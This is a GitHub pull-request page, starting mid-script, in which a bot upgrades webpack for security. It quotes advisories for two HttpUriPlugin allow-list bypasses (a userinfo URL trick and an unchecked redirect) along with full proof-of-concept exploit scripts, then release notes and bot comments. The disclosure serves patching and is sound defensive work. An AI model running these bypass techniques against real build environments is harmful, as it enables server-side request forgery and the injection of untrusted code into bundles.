tmp,mode: "development",entry: "./src/index.js",output: {path: distDir,filename: "bundle.js"},experiments: {buildHttp: {allowedUris: [allowedUri],cacheLocation: cacheDir,lockfileLocation: lockfile,upgrade: true}}};console.log("\n[ENV]");console.log(`- webpack version: ${webpackVersion}`);console.log(`- node version: ${process.version}`);console.log(`- allowedUris: ${JSON.stringify([allowedUri])}`);console.log("\n[CRAFTED URL]");console.log(`- import specifier: ${crafted}`);console.log(`- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}`);console.log(`- WHAT URL() parses:`);console.log(` - username: ${JSON.stringify(parsed.username)} (userinfo)`);console.log(` - password: ${JSON.stringify(parsed.password)} (userinfo)`);console.log(` - hostname: ${parsed.hostname}`);console.log(` - port: ${parsed.port}`);console.log(` - origin: ${parsed.origin}`);console.log(` - NOTE: request goes to origin above (host/port after @), not to "${allowedUri}"`);constcompiler=webpack(config);compiler.run(async(err,stats)=>{try{if(err)throwerr;constinfo=stats.toJson({all: false,errors: true,warnings: true});if(stats.hasErrors()){console.error("\n[WEBPACK ERRORS]");console.error(info.errors);process.exitCode=1;return;}constbundle=awaitfs.readFile(bundlePath,"utf8");constm=bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);constfoundSecret=m ? m[0] : null;console.log("\n[RESULT]");console.log(`- temp dir: ${tmp}`);console.log(`- bundle: ${bundlePath}`);console.log(`- lockfile: ${lockfile}`);console.log(`- cacheDir: ${cacheDir}`);console.log("\n[SECURITY CHECK]");console.log(`- bundle contains INTERNAL_ONLY_SECRET_* : ${fmtBool(!!foundSecret)}`);if(foundSecret){constlockHit=awaitfileContains(lockfile,foundSecret);constcacheFiles=awaitwalk(cacheDir);letcacheHit=false;for(constfofcacheFiles){if(awaitfileContains(f,foundSecret)){cacheHit=true;break;}}console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);}}catch(e){console.error(e);process.exitCode=1;}finally{compiler.close(()=>{});}});})();
4) Run
Terminal A:
node server.js
Terminal B:
node attacker.js
5) Expected vs Actual
Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed).
Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.
Impact
Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.
Severity
  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
webpack buildHttp HttpUriPlugin allowedUris bypass via HTTP redirects → SSRF + cache persistence
CVE-2025-68157 / GHSA-38r7-794h-5758
More information
Details
Summary
When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.
Details
In the HTTP scheme resolver, the allow-list check (allowedUris) is performed when metadata/info is created for the original request (via getInfo()), but the content-fetch path follows redirects by resolving the Location URL without re-checking whether the redirected URL is within allowedUris.
Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.
Figure 1 (evidence screenshot): left pane shows the allowed host issuing a 302 redirect to http://127.0.0.1:9100/secret.js; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.
image
PoC
This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.
1) Setup
mkdir split-ssrf-poc &&cd split-ssrf-poc
npm init -y
npm i -D webpack webpack-cli
2) Create server.js
#!/usr/bin/env node
"use strict";consthttp=require("http");consturl=require("url");constallowedPort=9000;constinternalPort=9100;constinternalUrlDefault=`http://127.0.0.1:${internalPort}/secret.js`;constsecret=`INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`;constinternalPayload=`export const secret = ${JSON.stringify(secret)};\n`+`export default "ok";\n`;functionstart(port,handler){returnnewPromise(resolve=>{consts=http.createServer(handler);s.listen(port,"127.0.0.1",()=>resolve(s));});}(async()=>{// Internal-only service (SSRF target)awaitstart(internalPort,(req,res)=>{if(req.url==="/secret.js"){res.statusCode=200;res.setHeader("Content-Type","application/javascript; charset=utf-8");res.end(internalPayload);console.log(`[internal] 200 /secret.js served (secret=${secret})`);return;}res.statusCode=404;res.end("not found");});// Allowed host (redirector)awaitstart(allowedPort,(req,res)=>{constparsed=url.parse(req.url,true);if(parsed.pathname==="/redirect.js"){constto=parsed.query.to||internalUrlDefault;// Safety guard: only allow redirecting to localhost internal service in this PoCif(!to.startsWith(`http://127.0.0.1:${internalPort}/`)){res.statusCode=400;res.end("to must be internal-only in this PoC");console.log(`[allowed] blocked redirect to: ${to}`);return;}res.statusCode=302;res.setHeader("Location",to);res.end("redirecting");console.log(`[allowed] 302 /redirect.js -> ${to}`);return;}res.statusCode=404;res.end("not found");});console.log(`\nServer running:`);console.log(`- allowed host: http://127.0.0.1:${allowedPort}/redirect.js`);console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`);})();
3) Create attacker.js
#!/usr/bin/env node
"use strict";constpath=require("path");constos=require("os");constfs=require("fs/promises");constwebpack=require("webpack");constwebpackPkg=require("webpack/package.json");constallowedPort=9000;constinternalPort=9100;constallowedBase=`http://127.0.0.1:${allowedPort}/`;constinternalTarget=`http://127.0.0.1:${internalPort}/secret.js`;constentryUrl=`${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`;asyncfunctionwalk(dir){constout=[];constitems=awaitfs.readdir(dir,{withFileTypes: true});for(constitofitems){constp=path.join(dir,it.name);if(it.isDirectory())out.push(...awaitwalk(p));elseif(it.isFile())out.push(p);}returnout;}asyncfunctionfileContains(f,needle){try{constbuf=awaitfs.readFile(f);returnbuf.toString("utf8").includes(needle)||buf.toString("latin1").includes(needle);}catch{returnfalse;}}asyncfunctionfindInFiles(files,needle){consthits=[];for(constfoffiles)if(awaitfileContains(f,needle))hits.push(f);returnhits;}constfmtBool=b=>(b ? "✅" : "❌");(async()=>{consttmp=awaitfs.mkdtemp(path.join(os.tmpdir(),"webpack-attacker-"));constsrcDir=path.join(tmp,"src");constdistDir=path.join(tmp,"dist");constcacheDir=path.join(tmp,".buildHttp-cache");constlockfile=path.join(tmp,"webpack.lock");constbundlePath=path.join(distDir,"bundle.js");awaitfs.mkdir(srcDir,{recursive: true});awaitfs.mkdir(distDir,{recursive: true});awaitfs.writeFile(path.join(srcDir,"index.js"),`import { secret } from ${JSON.stringify(entryUrl)};console.log("LEAKED_SECRET:", secret);export default secret;`);constconfig={context: tmp,mode: "development",entry: "./src/index.js",output: {path: distDir,filename: "bundle.js"},experiments: {buildHttp: {allowedUris: [allowedBase],cacheLocation: cacheDir,lockfileLocation: lockfile,upgrade: true}}};constcompiler=webpack(config);compiler.run(async(err,stats)=>{try{if(err)throwerr;constinfo=stats.toJson({all: false,errors: true,warnings: true});if(stats.hasErrors()){console.error(info.errors);process.exitCode=1;return;}constbundle=awaitfs.readFile(bundlePath,"utf8");constm=bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i);constsecret=m ? m[0] : null;console.log("\n[ATTACKER RESULT]");console.log(`- webpack version: ${webpackPkg.version}`);console.log(`- node version: ${process.version}`);console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`);console.log(`- imported URL (allowed only): ${entryUrl}`);console.log(`- temp dir: ${tmp}`);console.log(`- lockfile: ${lockfile}`);console.log(`- cacheDir: ${cacheDir}`);console.log(`- bundle: ${bundlePath}`);if(!secret){console.log("\n[SECURITY SUMMARY]");console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`);return;}constlockHit=awaitfileContains(lockfile,secret);letcacheFiles=[];try{cacheFiles=awaitwalk(cacheDir);}catch{cacheFiles=[];}constcacheHit=cacheFiles.length ? (awaitfindInFiles(cacheFiles,secret)).length>0 : false;constallTmpFiles=awaitwalk(tmp);constallHits=awaitfindInFiles(allTmpFiles,secret);console.log(`\n- extracted secret marker from bundle: ${secret}`);console.log("\n[SECURITY SUMMARY]");console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`);console.log(`- Internal target (SSRF-like): ${internalTarget}`);console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`);console.log(`- ACTUAL: internal content treated as module and bundled`);console.log("\n[EVIDENCE CHECKLIST]");console.log(`- bundle contains secret: ${fmtBool(true)}`);console.log(`- cache contains secret: ${fmtBool(cacheHit)}`);console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`);console.log("\n[PERSISTENCE CHECK] files containing secret");for(constfofallHits.slice(0,30))console.log(`- ${f}`);if(allHits.length>30)console.log(`- ... and ${allHits.length-30} more`);}catch(e){console.error(e);process.exitCode=1;}finally{compiler.close(()=>{});}});})();
4) Run
Terminal A:
node server.js
Terminal B:
node attacker.js
5) Expected
Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed).
Impact
Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled).
Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can:
trigger network requests from the build machine to internal-only services (SSRF behavior),
cause content from outside the allow-list to be bundled into build outputs,
and cause fetched responses to persist in build artifacts (e.g., buildHttp cache), increasing the risk of later exfiltration.
Severity
  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
webpack/webpack (webpack)
v5.104.1
Compare Source
Patch Changes
  • 2efd21b: Reexports runtime calculation should not accessing WEBPACK_IMPORT_KEY decl with var.
  • c510070: Fixed a user information bypass vulnerability in the HttpUriPlugin plugin.
v5.104.0
Compare Source
Minor Changes
  • d3dd841: Use method shorthand to render module content in __webpack_modules__ object.
  • d3dd841: Enhance import.meta.env to support object access.
  • 4baab4e: Optimize dependency sorting in updateParent: sort each module only once by deferring to finishUpdateParent(), and reduce traversal count in sortWithSourceOrder by caching WeakMap values upfront.
  • 04cd530: Handle more at-rules for CSS modules.
  • cafae23: Added options to control the renaming of at-rules and various identifiers in CSS modules.
  • d3dd841: Added base64url, base62, base58, base52, base49, base36, base32 and base25 digests.
  • 5983843: Provide a stable runtime function variable __webpack_global__.
  • d3dd841: Improved localIdentName hashing for CSS.
Patch Changes
  • 22c48fb: Added module existence check for informative error message in development mode.
  • 50689e1: Use the fully qualified class name (or export name) for [fullhash] placeholder in CSS modules.
  • d3dd841: Support universal lazy compilation.
  • d3dd841: Fixed module library export definitions when multiple runtimes.
  • d3dd841: Fixed CSS nesting and CSS custom properties parsing.
  • d3dd841: Don't write fragment from URL to filename and apply fragment to module URL.
  • aab1da9: Fixed bugs for css/global type.
  • d3dd841: Compatibility import.meta.filename and import.meta.dirname with eval devtools.
  • d3dd841: Handle nested __webpack_require__.
  • 728ddb7: The speed of identifier parsing has been improved.
  • 0f8b31b: Improve types.
  • d3dd841: Don't corrupt debugId injection when hidden-source-map is used.
  • 2179fdb: Re-validate HttpUriPlugin redirects against allowedUris, restrict to http(s) and add a conservative redirect limit to prevent SSRF and untrusted content inclusion. Redirects failing policy are rejected before caching/lockfile writes.
  • d3dd841: Serialize HookWebpackError.
  • d3dd841: Added ability to use built-in properties in dotenv and define plugin.
  • 3c4319f: Optimizing the regular expression character class by specifying ranges for runtime code.
  • d3dd841: Reduce collision for local indent name in CSS.
  • d3dd841: Remove CSS link tags when CSS imports are removed.
v5.103.0
Compare Source
Features
  • Added DotenvPlugin and top level dotenv option to enable this plugin
  • Added WebpackManifestPlugin
  • Added support the ignoreList option in devtool plugins
  • Allow to use custom javascript parse function
  • Added import.meta.env support for environment variables
  • Added support for import.meta.dirname and import.meta.filename
  • Added support import.defer() for statistical path
  • Handle import.meta.main
  • Added suport to setup named exports for JSON modules and disable usage named export for import file from "./file.json" with { type: "json" }
  • Added support __dirname/__filename/import.meta.dirname/import.meta.filename for universal target
  • [CSS] Added the exportType option with link (by default), "text" and css-style-sheet values
  • [CSS] Added support for composes properties
Fixes
  • The dependOn chunk must be loaded before the common chunk
  • Return to namespace import when the external request includes a specific export
  • No runtime extra runtime code for module libraries
  • Delay HMR accept dependencies to preserve import attributes
  • Properly handle external presets for universal target
  • Fixed incorrect identifier of import binding for module externals
  • Fixed when defer import and dynamic default export mixed
  • Reduce generated output when globalThis supported
  • Fixed loading async modules in defer import
  • Reexport module for default import when no used exports for systemjs library
  • Rename HarmonyExportDependencyParserPlugin exported id to CompatibilityPlugin tagged id
  • Handle __dirname and __filename for ES modules
  • Rename single nested __webpack_export__ and __webpack_require__ in already bundled code
  • [Types] webpack function type
  • [Types] NormalModule type
  • [Types] Multi compiler configuration type
  • [Types] Fixed regression in custom hashDigest type
  • [CSS] No extra runtime for initial chunk
  • [CSS] Fixed a lot of CSS modules bugs
v5.102.1
Compare Source
Fixes
  • Supported extends with env for browserslist
  • Supported JSONP fragment format for web workers.
  • Fixed dynamic import support in workers using browserslist.
  • Fixed default defer import mangling.
  • Fixed default import of commonjs externals for SystemJS format.
  • Fixed context modules to the same file with different import attributes.
  • Fixed typescript types.
  • Improved import.meta warning messages to be more clear when used directly.
  • [CSS] Fixed CC_UPPER_U parsing (E -> U) in tokenizer.
v5.102.0
Compare Source
Features
  • Added static analyze for dynamic imports
  • Added support for import file from "./file.ext" with { type: "bytes" } to get the content as Uint8Array (look at example)
  • Added support for import file from "./file.ext" with { type: "text" } to get the content as text (look at example)
  • Added the snapshot.contextModule to configure snapshots options for context modules
  • Added the extractSourceMap option to implement the capabilities of loading source maps by comment, you don't need source-map-loader (look at example)
  • The topLevelAwait experiment is now stable (you can remove experiments.topLevelAwait from your webpack.config.js)
  • The layers experiment is now stable (you can remove experiments.layers from your webpack.config.js)
  • Added function matcher support in rule options
Fixes
  • Fixed conflicts caused by multiple concatenate modules
  • Ignore import failure during HMR update with ES modules output
  • Keep render module order consistent
  • Prevent inlining modules that have this exports
  • Removed unused timeout attribute of script tag
  • Supported UMD chunk format to work in web workers
  • Improved CommonJs bundle to ES module library
  • Use es-lexer for mjs files for build dependencies
  • Fixed support __non_webpack_require__ for ES modules
  • Properly handle external modules for CSS
  • AssetsByChunkName included assets from chunk.auxiliaryFiles
  • Use createRequire only when output is ES module and target is node
  • Typescript types
Performance Improvements
  • Avoid extra calls for snapshot
  • A avoid extra jobs for build dependencies
  • Move import attributes to own dependencies
Configuration
📅 Schedule: (in timezone America/New_York)
  • Branch creation

    • At any time (no schedule defined)
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about these updates again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovate
renovateBot
requested a review
from a teamFebruary 7, 2026 20:44
@renovaterenovateBot
added
the 
dependencies
Upgrade or downgrade of project dependencies.
label
Feb 7, 2026
@renovate
renovateBot
requested review from
a team and sullivanpj
as code ownersFebruary 7, 2026 20:44
@renovaterenovateBot
added
the 
dependencies
Upgrade or downgrade of project dependencies.
label
Feb 7, 2026
@renovate
renovateBot
enabled auto-merge (squash)
February 7, 2026 20:45
@renovate
renovateBot
commented
Feb 7, 2026

Copy link


Copy Markdown

ContributorAuthor
Branch automerge failure
This PR was configured for branch automerge. However, this is not possible, so it has been raised as a PR instead.
@deepsource-io
deepsource-ioBot
commented
Feb 7, 2026•

edited

Loading

Copy link


Copy Markdown

DeepSource Code Review
We reviewed changes in 242a5a8...fa5481a on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.
See full review on DeepSource ↗
PR Report Card
Overall GradeSecurity

Reliability

Complexity

Hygiene
Code Review Summary
AnalyzerStatusUpdated (UTC)Details
JavaScriptMar 26, 2026 9:01p.m.Review ↗
ShellMar 26, 2026 9:01p.m.Review ↗
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
5a17899 to
3d46fe8CompareFebruary 12, 2026 11:32
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.1 [security]Feb 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
3d46fe8 to
ec73d92CompareFebruary 12, 2026 17:18
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
ec73d92 to
2c09d49CompareFebruary 16, 2026 15:16
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 16, 2026
@socket-security
socket-securityBot
commented
Feb 16, 2026•

edited

Loading

Copy link


Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.
DiffPackageSupply Chain
Security		VulnerabilityQualityMaintenanceLicense
Added@​nx/​esbuild@​21.5.31001007199100
Added@​storm-software/​tsdoc@​0.13.1347610010098100
Addeddefu@​6.1.410010010080100
Addeddate-fns@​4.1.0981009280100
Added@​nx/​jest@​21.5.3991009299100
Added@​nx/​devkit@​21.5.3981009399100
Added@​nx/​js@​21.5.3981009399100
Added@​nuxt/​schema@​4.1.29910010094100
Added@​nuxt/​kit@​4.1.29910010094100
View full report
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
2c09d49 to
b2d5813CompareFebruary 16, 2026 19:11
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
b2d5813 to
f8e7705CompareFebruary 17, 2026 16:50
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 17, 2026
@socket-security
socket-securityBot
commented
Feb 17, 2026•

edited

Loading

Copy link


Copy Markdown

Warning
Review the following alerts detected in dependencies.
According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.
ActionSeverityAlert (click "▶" to expand/collapse)
WarnHigh
Obfuscated code: npm buffer is 96.0% likely obfuscated
Confidence: 0.96
Location:Package overview
From:pnpm-lock.yaml → npm/buffer@4.9.2
ℹ Read more on: This package | This alert | What is obfuscated code?
Next steps: Take a moment to review the security alert above. Review
the linked package source code to understand the potential risk. Ensure the
package is not malicious before proceeding. If you're unsure how to proceed,
reach out to your security team or ask the Socket team for help at
support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.
Mark the package as acceptable risk. To ignore this alert only
in this pull request, reply with the comment
@SocketSecurity ignore npm/buffer@4.9.2. You can
also ignore all packages with @SocketSecurity ignore-all.
To ignore an alert for all future pull requests, use Socket's Dashboard to
change the triage state of this alert.

View full report
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
f8e7705 to
a99b711CompareFebruary 17, 2026 23:33
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 17, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
a99b711 to
9de95edCompareFebruary 20, 2026 13:35
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 20, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
9de95ed to
87b107bCompareFebruary 20, 2026 17:48
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 20, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
87b107b to
dba3e1eCompareFebruary 24, 2026 15:04
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]Feb 24, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
dba3e1e to
8a41fc8CompareFebruary 24, 2026 20:07
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Feb 24, 2026

auto-merge was automatically disabled
March 27, 2026 02:22
Pull request was closed
@renovate
renovateBot
deleted the

renovate/npm-webpack-vulnerability

branch
March 27, 2026 02:22
@storm-softwarestorm-software
locked and limited conversation to collaborators
Mar 28, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security] - autoclosedchore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Mar 30, 2026
@renovaterenovateBot
reopened this
Mar 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
3 times, most recently
from
438605d to
b2afe26CompareApril 1, 2026 17:04
@renovate
renovateBot
enabled auto-merge (squash)
April 1, 2026 17:04
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.105.4 [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
b2afe26 to
dce06daCompareApril 1, 2026 22:14
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.105.4 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
dce06da to
46a2c11CompareApril 8, 2026 21:09
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.0 [security]Apr 8, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
46a2c11 to
7307f35CompareApril 9, 2026 00:38
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.0 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 9, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
7307f35 to
2c45c07CompareApril 15, 2026 09:59
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.1 [security]Apr 15, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
2c45c07 to
780a625CompareApril 16, 2026 10:40
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
780a625 to
f2b9bceCompareApril 16, 2026 17:12
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]Apr 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
f2b9bce to
06d0d2aCompareApril 16, 2026 21:24
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 16, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
06d0d2a to
31bab0bCompareApril 21, 2026 21:56
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]Apr 21, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
31bab0b to
90273adCompareApril 22, 2026 03:18
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default webpack to ^5.106.2 [security]chore(monorepo): update pnpm.catalog.default webpack to ^5.104.1 [security]Apr 22, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-webpack-vulnerability
branch
from
90273ad to
fd22a30CompareApril 23, 2026 11:55
Sign up for freeto subscribe to this conversation on GitHub.
Already have an account?
Sign in.


Reviewers

@sullivanpjsullivanpjAwaiting requested review from sullivanpjsullivanpj is a code owner

At least 1 approving review is required to merge this pull request.


Assignees


No one assigned


Labels

dependenciesUpgrade or downgrade of project dependencies.

Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

0 participants